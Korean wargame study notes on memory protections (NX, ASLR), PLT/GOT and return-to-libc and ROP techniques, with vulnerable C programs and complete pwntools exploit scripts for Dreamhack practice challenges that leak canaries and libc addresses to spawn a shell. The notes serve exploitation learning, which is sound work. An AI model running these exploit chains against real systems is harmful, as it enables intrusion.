1. NX, ASLR
1-1 NX
- 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역 분리하는 보호 기법
- 코드 영역 쓰기 권한 있을 경우 공격자가 수정시 원하는 코드 실행 가능
- 스택, 데이터 영역 실행 권한 : Return to shellcode 같은 공격 시도 가능
1-1-1 gdb vmmap
- 적용 X bin: 스택영역 실행 권한 존재 - rwx(nx-disabled)
- 적용 O bin : 코드 영역 ㅗ이 실행 권한 X
- -zexecstack 옵션 제거후 컴파일시 nx 활성화 됨
1-2 ASLR
- 바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등 임의의 주소에 할당하는 보호 기법
- cat /proc /sys/kernel/randomize_va_sapce
- No ASLR - 0 : ASLR 적용 X
- Conservative Randomization - 1 : 스택, 라이브러리, vdso 등
- conservative Randomization + brk - 2 : 1의 영역과 brk로 할당한 영역
1-2-1 특징
- 코드 영역의 Main 함수 제외한 다른 영역의 주소들은 실행마다 변경됨 -> 실행 전 주소 예측 불가능
- libc_base, printf 주소 하위 12비트 값 변경 X
- 리눅스 ASLR 적용시 파일을 페이지 단위로 임의 주소에 매핑, 페이지의 크기인 12비트 이하로는 주소 변경 X
- libc_base, printf 주소차이 항상 같다 : 라이브러리 파일 그대로 매핑 -> 심볼들 간의 Offset은 항상 일정
- 반환주소 쉘코드 직접 덮는 대신 이들 활용시 NX, ASLR 우회하여 공격 가능
- Return-To-Libc (RTL)
- Return-Oriented-Programming (ROP)
2. Library
- 컴퓨터 시스템에서 프로그램들이 함수나 변수 공유해서 사용할 수 있게 한다. 반복적으로 정의해야하는 수고를 덜어주기 때문에 개발의 효율 상승
2-1 Dynamic library link
- 바이너리 실행시 라이브러리가 프로세스의 메모리에 매핑
- 실행 중에 라이브러리의 함수 호출시 매핑된 라이브러리에서 호출한 함수의 주소를 찾고 그 함수 실행
- PLT(Procedure Linkage Table)와 같은 주소 가져옴
2-2 Static library link
- 바이너리에 정적 라이브러리의 필요한 모든 함수 포함
- 해당 함수 호출시 라이브러리를 참조하는 것이 아니라 자신의 함수 호출하는것처럼 호출 가능
- 바이너리에서 라이브러리 사용시 그 라이브러리 복제가 여러번 이루어지게 되므로 용량 낭비
3. PlT & GOT
- GOT에는 함수의 주소가 저장되어 있지 않음
- dl_resolve 함수 실행하여 해당 함수의 주소를 GOT에 저장
- runtime resolve : 바이너리 실행되면 ASLR에 의해 임의의 주소에 매핑, 이 상태에서 라이브러리 함수 호출시 함수의 이름 바탕으로 라이브러리에서 심블들 탬색하고, 함수 발견시 그 주소로 실행 흐름을 옮기는 과정
- 반복 호출되는 함수 정의 매번 탐색시 비효율 -> ELF는 GOT(Global Offset Table)라는 테이블 두고, Resolve된 함수의 주소 해당 테이블에 저장
- gdb got : GOT 상태 보여주는 명령어
- 주소 찾기전 : plt section 어딘가에 주소 적혀있음, 해당 주소에 breakpoint
- PLT : 함수 실행전 주소 != 호출후 주소
- GOT : 함수 실행전 주소 == 호출후 주소
- dl_runtime_resolve_fxsae 호출됨 : 해당 함수에서 puts 주소 구해지고, GOT 엔트리에 주소 슨다.
- 이후 빠져오면 GOT 엔트리에 LIBC 영역 내에 puts 주소 쓰여짐
- 동적 링크된 바이너리에서 라이브러리 함수 주소 찾고, 기록시 사용되는 중요한 테이블
- PLT에서 GOT 참조하여 실행흐름 옮길때 GOT의 값을 검증하지 않는다는 보안상의 약점 존재
- puts의 GOT 엔트리에 저장된 값을 공격자가 임의로 변경 가능하면 puts 호출될때 원하는 코드 실행가능 => GOT OVerwrite
4. Return To Library
- NX로 인해 공격자가 버퍼에 주입한 쉘코드 실행 어렵지만 스택 버퍼 오버플로우 취약점으로 반환 주소 덮는 것은 여전히 가능 -> 실행 권한 남아있는 코드 영역으로 반환 주소 덮는 공격 기법 고안
- 프로세스에 실행권한이 있는 메모리 영역 : 바이너리의 코드 영역, 바이너리가 참조하는 라이브러리의 코드영역
4-1 코드 분석
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
system("echo 'system@plt");
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
- gdb를 통하여 main 함수영역 들여다 보기
- buf <=> sfp : 0x40
- buf <=> cnry : 0x40 - 0x8 = 0x38
- \x00 합한 payload를 보내서 cnry 주소 가져옴
- "/bin/sh", system, pop rdi, ret 주소 파악한 이후
4-2 Exploit code
from pwn import *
def slog(name, addr):
return success(' : '.join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 22421)
e = ELF("./rtl")
libc = e.libc
rop = ROP(e)
context.arch = 'amd64'
buf2sfp = 0x40
buf2cnry = buf2sfp - 0x8
payload = b'A' * (buf2cnry + 1)
p.sendafter('Buf:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slog("Cnry", cnry)
system_plt = e.symbols['system']
sh = next(e.search(b'/bin/sh'))
pop_rdi = rop.find_gadget(['pop rdi'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = b'A' * buf2cnry
payload += p64(cnry)
payload += b'A' * 0x8
payload += p64(ret) + p64(pop_rdi) + p64(sh) + p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()
- system_plt = 위에서 system() 호출했기 때문에 Plt에 저장됨, 해당 주소 참조
- 특정 문자열 가져오기 : next(e.search(b'/bin/sh'))
- ROPgadget 가져와야함
- system(rdi) -> rdi에 /bin/sh 이 저장되도록 한 이후 system 호출 되게 해야함
- pop rdi; ret gadget 필요
- MOVAPS : Ubuntu 18.04 .. 이후 부터 stack align 필요
4-3 details
4-3-1 finding gadget
- 명령어로 찾기 (pop rdi; ret, ret) - 두개 찾기
- ROPgadget --binary ./filename --re 'pop rdi'
- ROPgadget --binary ./filename | grep 'pop rdi'
- pwntools로 찾기
- ROP(ELF('./filename')).find_gadget(['pop rdi'])[0]
- [0] : addr
4-3-2 Stack align
- 위에서 ret이 한번더 필요한 이유 : system()의 주소가 0x10의 배수여야함
- 잘못 정렬된 ROP 사용되었을때 호환성 문제 일으킴, X86_64 기준 16 byte이 아닌 데이터에서 작동하려 할때 General Protection Exception 발생
- call 실행 직전 RSP는 16의 배수 (0x10)
- RBP는 항상 16의 배수
- 함수 프롤로그 실행 후 RSP는 16의 배수
- 함수의 entry point에선 RSP +8이 16의 배수...
- sfp는 0x10의 배수
- ret추가 안힐시 system()은 0x10의 배수가 아니게됨 -> error
5. ROP
5-1 code 분석
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
- bof 가능
- canary 값 가져온 이후에 exploit 코드 수행
5-2 exploit code
from pwn import *
def slog(name, addr):
return success(" : ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 9677)
e = ELF('./rop')
libc = ELF("./libc.so.6")
context.arch = 'amd64'
buf2sfp = 0x40
buf2cnry = buf2sfp - 0x8
payload = b'A' * (buf2cnry +1)
p.sendafter("Buf:", payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slog("cnry", cnry)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A' *0x38 + p64(cnry) + b'B' * 0x8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
- 3번째 arg는 rdx이지만 찾는것은 어렵고 실제로 중요한 역할을 하는 것이 아니기에 해당 코드에서는 r15를 사용
- recvn(6) + b'\x00' * 2하는 이유
- libc에서 함수 맨앞의 2바이트 \x00\x00 형태로 정렬 해둠
6. BasicRop_x64
6-1 코드 분석
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
- checksec 통해서 canary 없는것과, x64 형태인 것을 확인
- buf 의 크기는 0x40, read함수는 0x400까지 입력 받음
6-2 exploit code
from pwn import *
def slog(name, addr):
return success(" : ".join([name, hex(addr)]))
binary = "./basic_rop_x64"
p = remote("host3.dreamhack.games", 21292)
e = ELF(binary)
libc = ELF("./libc.so.6", checksec = False)
r = ROP(e)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
main = e.sym['main']
sh = list(libc.search(b'/bin/sh'))[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt) + p64(main)
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.sym['read']
system = lb + libc.sym['system']
binsh = lb + sh
payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.recvuntil(b'A' * 0x40)
p.interactive()
- read_got 주소 파악
- main으로 return 할 payload 작성
- Read함수 에서 read_got 값 가져오고
- write에서 main으로 돌아가야함
- payload를 보내야 read_got의 주소를 recv를 할 수 있기 때문
- 두번째 main함수 진입
- read함수에서 system("/bin/sh") 실행
7. BaiscRop_x86
7-1 code 분석
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
- checksec : canary X, x86형태(4bytes)
- bof 가능
7-2 exploit 코드
from pwn import *
def slog(name, addr):
return success(" : ".join([name, hex(addr)]))
binary = "basic_rop_x86"
p = remote("host3.dreamhack.games", 23049)
e = ELF(binary)
r = ROP(e)
libc = ELF("libc.so.6")
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh = list(libc.search(b'/bin/sh'))[0]
pop3ret = 0x08048689
p1ret = 0x0804868b
payload = b'A'* 0x48
payload += p32(write_plt)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(main)
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u32(p.recvn(4))
lb = read - read_offset
system = lb + system_offset
binsh = binsh + lb
payload = b'A' * 0x48
payload += p32(system)
payload += p32(p1ret) + p32(binsh)
p.send(payload)
p.recvuntil(b'A' * 0x40)
p.interactive()
- x86 : 4byte
- stack에 저장해서 가져오기때문에 x64와 다른형식으로 코드 작성해야함
- stack에서 pop만 신경써서 작성하면 x64와 코드 유사